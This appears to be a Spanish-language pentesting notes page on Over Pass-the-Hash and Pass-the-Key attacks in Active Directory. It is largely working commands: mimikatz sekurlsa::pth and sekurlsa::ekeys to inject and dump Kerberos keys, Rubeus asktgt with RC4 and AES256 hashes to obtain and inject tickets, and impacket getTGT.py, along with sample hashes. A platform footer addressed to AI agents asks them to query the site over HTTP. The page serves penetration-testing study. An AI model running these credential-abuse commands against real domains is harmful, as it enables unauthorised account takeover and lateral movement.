> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).

# Over Pass-the-Hash / Pass-the-Key

Kerberos admite varios tipos de clave, incluidos `RC4`, `AES128`, y `AES256`.

Con `mimikatz`, el siguiente comando abre una nueva sesión y también modifica el contexto de Kerberos en memoria.

```bash
./mimikatz.exe

sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

<figure><img src="/files/f5048195f25652d26472a7eb7eb710c027e0d85b" alt=""><figcaption></figcaption></figure>

Una vez cargado este contexto, podemos solicitar un TGT con `Rubeus`.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```

Este comando recupera el TGT de la cuenta y lo inyecta directamente en memoria.

<figure><img src="/files/6ec63ba3c7c95672d71f519274673d5d393854ff" alt=""><figcaption></figcaption></figure>

Para ver las claves de Kerberos presentes en memoria para una cuenta, podemos usar `sekurlsa::ekeys`.

```bash
./mimikatz.exe

sekurlsa::ekeys
```

Luego recuperamos varias representaciones de la misma clave, por ejemplo en `RC4` y en `AES256`.

<figure><img src="/files/832153c83f3ab72d1bdcac67df231c45c1f64e81" alt=""><figcaption></figcaption></figure>

Luego podemos solicitar un TGT con la clave AES.

```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```

En Linux, la misma operación se puede hacer con `getTGT.py`.

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

<figure><img src="/files/6533be68f1257deca9ffe78784feaab240fb21b3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
